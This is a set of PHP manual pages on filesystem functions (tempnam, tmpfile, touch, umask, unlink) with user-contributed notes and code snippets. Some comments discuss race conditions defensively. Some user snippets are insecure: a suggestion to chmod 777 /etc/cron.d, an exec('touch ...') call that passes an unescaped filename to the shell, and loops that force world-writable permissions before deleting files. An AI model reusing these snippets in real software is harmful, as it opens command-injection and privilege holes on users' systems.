tempnam and SAFE MODE don't generally exclude each other - that link below just shows frustrating trials to find some meaning in SAFE MODE. However, SAFE MODE is good and I'd appreciate to find it used in more of contemporarily hyped projects like typo3 or similar, since many people don't seem to care about security that much, but get enraged by tens and hundreds of Spam-Mails a day.

Okay, that post from Feb-2004 and the "bug report" is unconditionally true for multi-hosted PHP environments where several users may have their individual scripts placed on same server machine. Just take a visit to one of your local webspace-providers, that give space for 5 € or less a month.

But the truth get conditional if you gain access to the server all by yourself and may set it up to have your script's and the web server's GID being same so you can "fall back" to GID-based SAFE MODE and use tempnam as desired. This is true for several local work, intranet-related projects in your company etc. Just take a look at how SAFE MODE _really_ works and why it's rockingly important to use it. You should do when you're developing a company tool for public access at least.

Never forget to take a moment to think about Unix-filesystem and access rights as well ... even if you're locally running Windows to have some great IDE or similar (like me :). PHP is available on both systems, but that's not succeeding to define your work as "portable".
andi<at>splitbrain<dot>org 08-Aug-2004 07:28
tempname ignores the current umask and always creates the file with permission 0600.
anakin dot skyw at gmx dot de 04-Jul-2004 08:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop 30-Apr-2004 08:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
    // validate arguments
    if (! (isset($postfix) && is_string($postfix))) {
        return false;
    }
    if (! (isset($prefix) && is_string($prefix))) {
        return false;
    }
    if (! isset($dir)) {
        $dir = getcwd();
    }

    // find a temporary name
    $tries = 1;
    do {
        // get a known, unique temporary file name
        $sysFileName = tempnam($dir, $prefix);
        if ($sysFileName === false) {
            return false;
        }

        // tack on the extension
        $newFileName = $sysFileName . $postfix;
        if ($sysFileName == $newFileName) {
            return $sysFileName;
        }

        // move or point the created temporary file to the new filename
        // NOTE: these fail if the new file name exist
        $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
        if ($newFileCreated) {
            return $newFileName;
        }

        unlink ($sysFileName);
        $tries++;
    } while ($tries <= 5);

    return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
    return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
kulpp at wsg dot net 03-Feb-2004 11:57
tempnam should not be used with SAFE MODE as of 4.3.4
see http://bugs.php.net/bug.php?id=27133
phpdoc at rickbradley dot com 25-Nov-2003 03:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
23-Jul-2003 10:56
The tempnam() function will not let you specify a postfix to the filename created. Here is a function that will create a new filename with pre and post fix'es. Not returns false if it can't create in the dir specified where tempnam() creates in the systems temp dir.

function newtempnam($dir, $prefix, $postfix){
    /* Creates a new non-existant file with the specified post and pre fixes */

    if ($dir[strlen($dir) - 1] == '/') {
        $trailing_slash = "";
    } else {
        $trailing_slash = "/";
    }
    /*The PHP function is_dir returns true on files that have no extension.
    The filetype function will tell you correctly what the file is */
    if (!is_dir(realpath($dir)) || filetype(realpath($dir)) != "dir") {
        // The specified dir is not actualy a dir
        return false;
    }
    if (!is_writable($dir)){
        // The directory will not let us create a file there
        return false;
    }

    do{    $seed = substr(md5(microtime().posix_getpid()), 0, 8);
        $filename = $dir . $trailing_slash . $prefix . $seed . $postfix;
    } while (file_exists($filename));
    $fp = fopen($filename, "w");
    fclose($fp);
    return $filename;
}
lreilly at lanl dot gov 28-Aug-2002 05:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly
seb at nospam dot 50carleton dot com 22-May-2001 05:24
In addition to a note previously posted, on Windows NT Server 4.0, I noticed that tempnam() only uses the first THREE characters of the specified prefix.
symlink
tmpfile
Filesystem Functions


Creates a temporary file

tempnam
touch
Filesystem Functions
PHP Manual

tmpfile

(PHP 4, PHP 5)

tmpfile — Creates a temporary file

Description

resource tmpfile ( void )

Creates a temporary file with a unique name in read-write (w+) mode and returns a file handle .

The file is automatically removed when closed (using fclose()), or when the script ends.

For details, consult your system documentation on the tmpfile(3) function, as well as the stdio.h header file.

Return Values

Returns a file handle, similar to the one returned by fopen(), for the new file or FALSE on failure.

Examples

Example #1 tmpfile() example

<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // this removes the file
?>

The above example will output:

writing to tempfile

See Also

  • tempnam() - Create file with unique file name
  • sys_get_temp_dir() - Returns directory path used for temporary files

User Contributed Notes

kexianbin at diyism dot com 22-Nov-2011 07:24
A clean method to use temporary file:

<?php
$tmp=array_search('uri', @array_flip(stream_get_meta_data($GLOBALS[mt_rand()]=tmpfile())));
file_put_contents($tmp, 'hello');
echo file_get_contents($tmp);
?>

without need to fclose the tmp file, it will be deleted while the php ends.
o_O Tync 20-Apr-2007 10:26
Remember, that open_basedir affects this function. You will get an error:

Warning: tmpfile() [function.tmpfile]: open_basedir restriction in effect. File(/var/tmp) is not within the allowed path(s): ....blablabla =)
oremanj at gmail dot com 08-Apr-2007 11:46
No, the fseek() is necessary - after writing to the file, the file pointer (I'll use "file pointer" to refer to the current position in the file, the thing you change with fseek()) is at the end of the file, and reading at the end of the file gives you EOF right away, which manifests itself as an empty upload.

Where you might be getting confused is in some systems' requirement that one seek or flush between reading and writing the same file.  fflush() satisfies that prerequisite, but it doesn't do anything about the file pointer, and in this case the file pointer needs moving.

-- Josh
zlynx at acm dot org 13-Mar-2007 05:02
I am fairly sure that the seek just flushes the data from the memory buffers to the file.  fflush() should give you the same effect.
05-Sep-2006 11:53
By the way, this function is really useful for libcurl's CURLOPT_PUT feature if what you're trying to PUT is a string.   For example:

<?php
/* Create a cURL handle. */
$ch = curl_init();

/* Prepare the data for HTTP PUT. */
$putString = "Hello, world!";
$putData = tmpfile();
fwrite($putData, $putString);
fseek($putData, 0);

/* Set cURL options. */
curl_setopt($ch, CURLOPT_URL, "http://www.example.com");
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $putData);
curl_setopt($ch, CURLOPT_INFILESIZE, strlen($putString));
/* ... (other curl options) ... */

/* Execute the PUT and clean up */
$result = curl_exec($ch);
fclose($putData);
curl_close($ch);
?>
03-Aug-2006 06:05
fseek() is important because if you forget about it you will upload empty file...

i had sth like that ^_^
chris [at] pureformsolutions [dot] com 04-Oct-2005 12:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
    # Upload setup.inc
    $fSetup = tmpfile();
    fwrite($fSetup,$setup);
    fseek($fSetup,0);
    if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
        echo "<br /><i>Setup file NOT inserted</i><br /><br />";
    }
    fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.
tempnam
touch
Filesystem Functions


Sets access and modification time of file

tmpfile
umask
Filesystem Functions
PHP Manual

touch

(PHP 4, PHP 5)

touch — Sets access and modification time of file

Description

bool touch ( string $filename [, int $time = time() [, int $atime ]] )

Attempts to set the access and modification times of the file named in the filename parameter to the value given in time. Note that the access time is always modified, regardless of the number of parameters.

If the file does not exist, it will be created.

Parameters

filename

The name of the file being touched.

time

The touch time. If time is not supplied, the current system time is used.

atime

If present, the access time of the given filename is set to the value of atime. Otherwise, it is set to the value passed to the time parameter. If neither are present, the current system time is used.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | It became possible to change the modification time of a directory under Windows.

Examples

Example #1 touch() example

<?php
if (touch($filename)) {
    echo $filename . ' modification time has been changed to present time';
} else {
    echo 'Sorry, could not change modification time of ' . $filename;
}
?>

Example #2 touch() using the time parameter

<?php
// This is the touch time, we'll set it to one hour in the past.
$time = time() - 3600;

// Touch the file
if (!touch('some_file.txt', $time)) {
    echo 'Whoops, something went wrong...';
} else {
    echo 'Touched file with success';
}
?>

Notes

Note:

Note that time resolution may differ from one file system to another.

Warning

Prior to PHP 5.3.0 it was not possible to change the modification time of a directory with this function under Windows.

User Contributed Notes

John Doe 08-Apr-2011 12:37
On Mac OS X, touch() will modify both filectime() and filemtime().
bosslog at gmail dot com 08-Oct-2010 02:11
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch

<?php
for($i = 0; $i < 100; $i++)
{
     file_put_contents('dir/file'.$i, '');
}
?>
Average time: 0,1145s

<?php
for($i = 0; $i < 100; $i++)
{
     touch('dir/file'.$i);
}
?>
Average time: 0,2322s

So, file_put_contents is faster than touch, about two times.
chris dot dallaire at csquaredsystems dot com 09-Apr-2010 07:41
I needed to use this to touch the /etc/cron.d directory when I updated some files in there. I know the docs say this isn't necessary, but I'm finding that i need to do it in order form my changes to be picked up quickly.

I ran into the permissions error as well and I found that using chmod 777 /etc/cron.d does the trick.

So, you should be able to use the PHP touch function on a directory that has open write access.

Of course, this isn't the most secure approach, but in our application it's not a big deal for that folder to not be super secure.
dotpointer at gmail dot com 15-Feb-2010 03:02
Regarding the permission error, also discussed in other notes:

Warning: touch() [function.touch]: Utime failed: Operation not permitted in /directory/file.php  on line X

On my system PHP can touch files it does not own as long as the file has at least chmod xx6, BUT it can not set modification time.

This works:

touch('notmyfile');
# -rw-rw-rw-  1 root   root       0 2010-02-15 23:39 notmyfile

This gives error above:

touch('notmyfile', time());
# -rw-rw-rw-  1 root   root       0 2010-02-15 23:39 notmyfile

This works:
touch('notmyfile', time());
# -rw-rw-rw-  1 apache root       0 2010-02-15 23:41 notmyfile

Note that user is APACHE and not NOBODY.
On some systems with apache web server, PHP runs as apache.
To check what user your PHP run as, you may try this to find out:

echo shell_exec('whoami');
ernst at cron-it dot de 29-Sep-2009 06:38
To touch a file without being owner, it is much easier:

<?php
function touchFile($file) {
  fclose(fopen($file, 'a'));
}
?>
contacto at lucasfonzalida.com.ar 06-Jan-2009 11:44
This example resolve some drawbacks with DayLight Saving Flag and TimeZone in Windows with native function 'touch()'
See function comments for details

    Usage:
    ------
<?php
    // mtime of source File
    $time = filemtime("/source.txt");

    // Sync mtime at destination file with source file
    betouch("/destination.txt",$time);

    /**
    * Function: Best Effort Touch
    * Update recursively mtime at especified file and verify.
    *
    * This function, resolve 2 drawbacks with native function 'touch()' on Windows:
    * - touch() Return incorrect result (PHP v5.2.5)
    * - touch() Is affected by DayLight Saving Flag and TimeZone
    *
    * @access public
    * @param  String   $file    Full path to target file
    * @param  int      $time    Unix Timestamp
    * @param  int      $offset  Offset (Default: 0)
    * @return boolean
    */
    function betouch($file, $time, $offset = 0){
        // Add offset to requested mtime
        $new_mtime = $time + $offset;
        // Calling native touch
        $result = touch($file, $new_mtime, $new_mtime);
        // If 'touch()' return OK
        if($result){
            // Clears file status cache
            clearstatcache();
            // Get recently stored mtime at destination file
            $stored_mtime = filemtime($file);
            // Verify if stored is equal to requested mtime
            if($stored_mtime == $time){
                return true;
            }else{
                // Calculate offset between stored mtime and requested mtime
                $offset = $time - $stored_mtime;
                // Recall recursively with new offset and return
                return betouch($file, $time, $offset);
            }
        }
        // Native touch() fail
        return false;
    }
?>

 Lucas Fonzalida
 Buenos Aires - Argentina
 contacto at lucasfonzalida.com.ar
info at archiwumrocka dot art dot pl 01-Dec-2008 01:59
Only way to change modification date in catalogue is to create file in via touch() and dalete it with unlink():

<?php
$dir    = 'temp';
$files1 = scandir($dir);

$files1 = array_slice($files1, 2);

foreach ($files1 as $key => $val)
{
    if (!is_dir($val)) continue;
    if (!touch($val))
    {
        touch($val . "/plik.txt");
        unlink($val . "/plik.txt");
    }
}
?>
mrgrier at yahoo dot com 29-Nov-2008 10:29
At least on Linux, touch will not change the time on a symlink itself, but on the file/directory it points to. The only way to work around this is to unlink the symlink, then recreate it.

It took a bit of searching to discover this. The OS itself provides no way to do it. Many people wondered why anyone would want to do this. I use symlinks inside a web tree to point to files outside the web tree. After a certain length of time has passed, I want the symlinks to die, so the files cannot be successfully hotlinked.
ddalex at gmail dot com 03-Nov-2008 09:25
Actually, Glen is right, PHP won't touch if it is not the current owner of the file, even if the directory and files are writeable by the PHP user.
Bess E. R. Wisser 25-Aug-2008 01:20
"Glen: In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work."

No, you can not modify files you don't have write access to in a multi-user environment, ever, under any circumstances. The reason why you fail to do this "in PHP" is because your httpd is most likely running as a "shared" setup, running as nobody/nobody, and your user's files aren't world-writable, and they are not owned by nobody/nobody. Change your required files to be world-writable and you can touch() them, and more.
Radon8472 08-Aug-2008 05:07
Important info:

touch() used on a directory always returns FALSE and prints "Permission denied" on NTFS and FAT Filesystem (tested on winXP).
Jeff 26-Jun-2008 12:29
I've been trying to set a filemtime into the future with touch() on PHP5.

It seems touch $time has a future limit around 1000000 seconds (11 days or so). Beyond this point it reverts to a previous $time.

It doesn't make much sense but I could save you hours of time.

$time = time()+1500000;
touch($cachedfile,$time);
Glen 18-Oct-2007 01:01
In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work.

I simple alternative (on unix):

<?php

    function touch_it_good($filename)
    {
        exec("touch {$filename}");
    }
?>
ilrazziatore85 AT yahoo DOT it 21-May-2007 08:10
Feathern wrote a little script for fetching files from a directory after a certain date.
However the if statement (line 8) should be:

if(($test[2] > 2002) || (($test[2] = 2002) && ($test[0] > 6)) || (($test[2] = 2002) && ($test[0] = 6) && ($test[1] > 17))){
        echo $filelist[$i]."\r\n";
}

Otherwise the script won't fetch lots of files it should.

(In the example given, it should fetch all the files created after 06/17/2002, but the original script would miss files created 03/18/2003 or 11/01/2004)
seocab at rit dot edu 31-Mar-2007 08:09
The script for modifying the access time without modifying the modified time is overly complicated:

<? touch($filename, date('U', filemtime($filename)), time()); ?>

Since filemtime returns a UNIX timestamp, there is no need to call date('U') so the script could be simplified to:

<? touch($filename,filemtime($filename),time()); ?>
Charles Belov 18-Jul-2006 06:10
Update the access time without updating the modified time:

Unix command: touch -a filename

PHP: touch(filename, date('U', filemtime(filename)), time())
spam at webmastersguide dot com 01-Sep-2005 05:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk 25-Jul-2005 12:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com 12-May-2005 03:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

    $target_file = "/path/to/file/filename.txt"; //system filepath to your file
    $file_content = implode("",file($target_file));
    @unlink($target_file);
    if($savetofile = fopen($target_file, "w")) {
        fputs($savetofile, $file_content);
        fclose($savetofile);
    }
    $new_date = strtotime("23 April 2005"); // set the required date timestamp here
    touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com 13-Aug-2002 03:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
    $test = Array();
    $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
    if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
        echo $filelist[$i]."\r\n";
    }
    clearstatcache();
}
function list_dir($dn){
    if($dn[strlen($dn)-1] != '\\') $dn.='\\';
    static $ra = array();
    $handle = opendir($dn);
    while($fn = readdir($handle)){
        if($fn == '.' || $fn == '..') continue;
        if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
        else $ra[] = $dn.$fn;
    }
    closedir($handle);
    return $ra;
}
emilebosch at hotmail dot com 06-Oct-2001 03:41
To spare you ppl couple of hours of valuable time, you can only TOUCH a file that you own! Usually PHP is *nobody*
Warm regards,
Emile Bosch
master at dreamphp dot com 15-May-2001 11:23
$filename = "test.dat";
if (!file_exists($filename)) {
  touch($filename); // Create blank file
  chmod($filename,0666);
}
tmpfile
umask
Filesystem Functions


Changes the current umask

touch
unlink
Filesystem Functions
PHP Manual

umask

(PHP 4, PHP 5)

umask — Changes the current umask

Description

int umask ([ int $mask ] )

umask() sets PHP's umask to mask & 0777 and returns the old umask. When PHP is being used as a server module, the umask is restored when each request is finished.

Parameters

mask

The new umask.

Return Values

umask() without arguments simply returns the current umask otherwise the old umask is returned.

Examples

Example #1 umask() example

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

// Checking
if ($old != umask()) {
    die('An error occured while changing back the umask');
}
?>

Notes

Note:

Avoid using this function in multithreaded webservers. It is better to change the file permissions with chmod() after creating the file. Using umask() can lead to unexpected behavior of concurrently running scripts and the webserver itself because they all use the same umask.

User Contributed Notes

neon at neonjs dot com 30-Jul-2011 07:19
In case you don't understand why you need to "Avoid using this function in multithreaded webservers":

It's because this function changes the umask at the process level, rather than only for PHP or for the current script.  If there are multiple simultaneous threads running in the process in which your PHP script is running, the change will apply to all of those threads at the same time hence why this is not safe for multithreaded use.

I understand that if you are using the PHP module and Apache's prefork MPM, which is not multi-threaded, then you at least won't get race-condition problems such as this.  However, it is still worth noting that the umask setting, if not re-set, will persist for the life of that process even if the process is re-used to serve future PHP or non-PHP requests.
bishop 30-Sep-2010 06:01
"It is better to change the file permissions with chmod() after creating the file."

If you take that advice seriously, consider setting your umask so that files are created private to your user, then use chmod to open them up.

<?php
// files will create as -rw-------
umask(0077);

// create a file, eg fopen()

// give access: -rw-r--r--
chmod('/path/to/file', 0644);
?>

Whenever reasonable, default to shut and open as needed (like above) instead of default to open and shut as needed.  The above still has a race condition, but the race condition will deny appropriate access instead of granting inappropriate access.
webmaster at iacomputing dot co dot uk 28-Sep-2010 04:24
You can use umask to solve the PHP session bug that appears in several PHP versions.

<?php
umask(0022);
session_start();
?>

This will prevent sessions being created with inadequate permissions.
librodot at ciberpiula dot net 17-Jun-2009 04:54
I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions.

umask sets which permissions must be removed from the system default when you create a file or a directory.

For example, a mask 0022 means that you don't want group and others modify the file.

default 0666 rw-.rw-.rw-
umask   0022 ---.-w-.-w-
Final   0644 rw-.r--.r--

That means that any file from now on will have 0644 permissions.

It is important to understand that umask revokes, deletes permissions from system default, so it can´t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod.

Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories.

Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022
creccles at gmail dot com 27-Oct-2008 10:29
Understanding umask() properly is made more difficult for the novice programmer by the spurious flitting between UNIX's octal representation of file permissions and PHP's requirements for (decimal) integer arguments to most of its functions (including umask).
-
Instead of making mental pictures of chains of rwx|rwx|rw- type words and then tying yourself in cerebral knots manipulating them between the two different number systems, look at the issue as one involving simple bit patterns:
-
On most hosts, the baseline permission for created data files is the well-known OCTAL 0666, which means a bit pattern:  110110110.
-
The baseline pattern for new directories is OCTAL 0777, which is 111111111.
-
Both of these are subject to modification by the current system-wide umask setting, which is normally OCTAL 0022 or, bitwise:  000010010.
-
The mask works like this:

1. INVERT the binary umask
2. Perform an AND operation with the baseline permission pattern
3. Result is the bit pattern which will be applied to your new files or
directories

Example:

System-wide umask:           000010010 (OCTAL 0022)

INVERTED:                    111101101
& with baseline:             110110110 (OCTAL 0666)
Result:                      110100100

... which is OCTAL 0644.

Let us say you want write permissions on files for your workgroup:

The bit pattern you are aiming for is:  110110100    (OCTAL 0664)

What needs to be AND-ed with our baseline 110110110 to give us this ?
Any AND relationship is reversible, so the answer is given by:

baseline:                    110110110 (OCTAL 0666)
target:                      110110100 (OCTAL 0664)
result:                      111110101

inversion gives:             000001010 (OCTAL 0012)

... which is our desired umask.

Lining up bits in a binary AND is conceptually easier than juggling
with the rw-rwx--x notation when it comes to masks.  Remember that
an AND only delivers a binary '1' when a binary '1' is present in BOTH
strings.

Always pass this to PHP in the form:

umask(octdec("0012"));

... so that the umask() function receives a true INT type.
jphansen at uga dot edu 04-Mar-2008 06:45
On most UNIX environments the recommended default umask for files, defined in /home/user/.profile or /etc/profile, is 022 (chmod: 644). On trusted systems it is 002. Exercise caution when applying more liberal settings.
maulwuff at gmx dot de 18-Sep-2007 03:44
umask takes away the given values from the standard mask 777.
A graphical view shows this better:

standard:
rwxrwxrwx = 777
will get with umask 002:
rwxrwxr-x  = 775
or will get with umask 077:
rwx------ = 700

and so on.
sean at awesomeplay dot com 30-May-2007 09:48
"It is better to change the file permissions with chmod() after creating the file."

The usual lacking of security knowledge within the PHP team rears its head once again.  You *always* want to have the file created with the proper permission.  Let me illustrate why:

(a) you create new file with read permissions
(b) an attacking script opens the file
(c) you chmod the file to remove read permissions
(d) you write sensitive data to the file

Now, you might think that the changes of an attacking script getting to open the file before you chmod them are low.  And you're right.  But low changes are never low enough - you want zero chance.

When creating a file that needs increased permissions, you always need to create the file with the proper permissions, and also create it with O_EXCL set.  If you don't do an exclusive create, you end up with this scenario:

(a) attacker creates the file, makes it writable to everyone
(b) you open the file with restricted permissions, but since it already exists, the file is merely opened and the permissions left alone
(c) you write sensitive data into the insecure file

Detecting the latter scenario is possible, but it requires a bit of work.  You have to check that the file's owner and group match the script's (that is, posix_geteuid(), not myuid()) and check the permissions - if any of those are incorrect, then the file is insecure - you can attempt to unlink() it and try again while logging a warning, of course.

The only time when it is reasonable or safe to chmod() a file after creating it is when you want to grant extra permissions instead of removing them.  For example, it is completely safe to set the umask to 0077 and then chmoding the files you create afterward.

Doing truly secure programming in PHP is difficult as is, and advice like this in the documentation just makes things worse.  Remember, kids, anything that applies to security in the C or UNIX worlds is 100% applicable to PHP.  The best thing you can possibly do for yourself as a PHP programmer is to learn and understand secure C and UNIX programming techniques.
ShaD@TW 16-May-2006 09:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');   //- 0006
mkdir("/path/dir");             //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);   //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);   //- OK
?>

If there was any mistake, please correct my statement.
18-Feb-2006 08:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org 03-Mar-2005 02:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
trisk at earthling dot net 31-Jan-2005 09:25
I thought I would clarify the numbering scheme used here, as it confused me at first.

On the UNIX console, the command:

umask "blah"

In this instance, the umask command forces "blah" to be an octal number, regardless of how many digits you use and regardless of any leading zeroes.  In PHP, umask() does not default to octal as the console command does, it uses whatever numeric format you specify.

For example:

umask(213);

This uses the decimal integer 213 and not the octal number 213 as you would expect when using the console command.  In this case, it would set the umask to the octal number "325".

To enter the number as octal, just add one or more zeroes to the left of the number:

umask(0213);
umask(07);
umask(0044);

etc.
sam at totallydigital dot co dot nz 19-Sep-2002 09:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764
touch
unlink
Filesystem Functions


Deletes a file

umask
Inotify
Filesystem Functions
PHP Manual

unlink

(PHP 4, PHP 5)

unlink — Deletes a file

Description

bool unlink ( string $filename [, resource $context ] )

Deletes filename. Similar to the Unix C unlink() function. A E_WARNING level error will be generated on failure.

Parameters

filename

Path to the file.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | As of PHP 5.0.0 unlink() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support unlink().

Examples

Example #1 Basic unlink() usage

<?php
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Hello world!</h1>');
fclose($fh);

unlink('test.html');
?>

See Also

  • rmdir() - Removes directory

User Contributed Notes

tornadossash at yahoo dot com 20-Dec-2011 03:12
I also had the permission denied problem on Windows IIS7.0 (Vista). I could avoid this error if I give the user IUSR rights on the folder where the files are being written.

method:
folder: right click - properties - security - add user IUSR
give him full rights on this folder.
holdoffhunger at gmail dot com 11-Jun-2011 08:28
There seems to be a lot of independent investigators here looking for buggy execution of this code (which actually be caused by or worsened by a Windows, Server operating system).  The main issue seems to be knowing for certain that the file was actually deleted, for example, not producing an error when a file isn't deleted on the command, or producing an error when the file actually is deleted.  Anyhow, the following is a tiny piece of code that absolutely deletes, even if it produces an error message, or never finishes, if it is unable to delete.

There are two outcomes: (1) It deletes the file, and continues happily along, error message, or not.  (2) It can't delete the file, can't modify the permissions, etc., and therefore, the script never completes, or it may throw some PHP errors at you eventually.

<?php

        while(is_file($data_file_to_delete) == TRUE)
        {
            chmod($data_file_to_delete, 0666);
            unlink($data_file_to_delete);
        }

?>
webmaster at sebastiangrinke dot info 21-Feb-2011 05:57
If you have a problem with unwriteable files test this ;)
Its a bit longer but it works really fine for me :)

<?php
public function delete_folder($tmp_path){
  if(!is_writeable($tmp_path) && is_dir($tmp_path)){chmod($tmp_path,0777);}
    $handle = opendir($tmp_path);
  while($tmp=readdir($handle)){
    if($tmp!='..' && $tmp!='.' && $tmp!=''){
         if(is_writeable($tmp_path.DS.$tmp) && is_file($tmp_path.DS.$tmp)){
                 unlink($tmp_path.DS.$tmp);
         }elseif(!is_writeable($tmp_path.DS.$tmp) && is_file($tmp_path.DS.$tmp)){
             chmod($tmp_path.DS.$tmp,0666);
             unlink($tmp_path.DS.$tmp);
         }

         if(is_writeable($tmp_path.DS.$tmp) && is_dir($tmp_path.DS.$tmp)){
                delete_folder($tmp_path.DS.$tmp);
         }elseif(!is_writeable($tmp_path.DS.$tmp) && is_dir($tmp_path.DS.$tmp)){
                chmod($tmp_path.DS.$tmp,0777);
                delete_folder($tmp_path.DS.$tmp);
         }
    }
  }
  closedir($handle);
  rmdir($tmp_path);
  if(!is_dir($tmp_path)){return true;}
  else{return false;}
}
?>
dexen dot devries at gmail dot com 31-Dec-2010 01:28
Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS?

The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''.

Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case.

However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed.

The caveat:
A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process...
federico at poisonfx dot com 06-Dec-2010 02:55
Here the simplest way to delete files with mask

<?php
   $mask = "*.jpg"
   array_map( "unlink", glob( $mask ) );
?>
kgy 25-Nov-2010 02:34
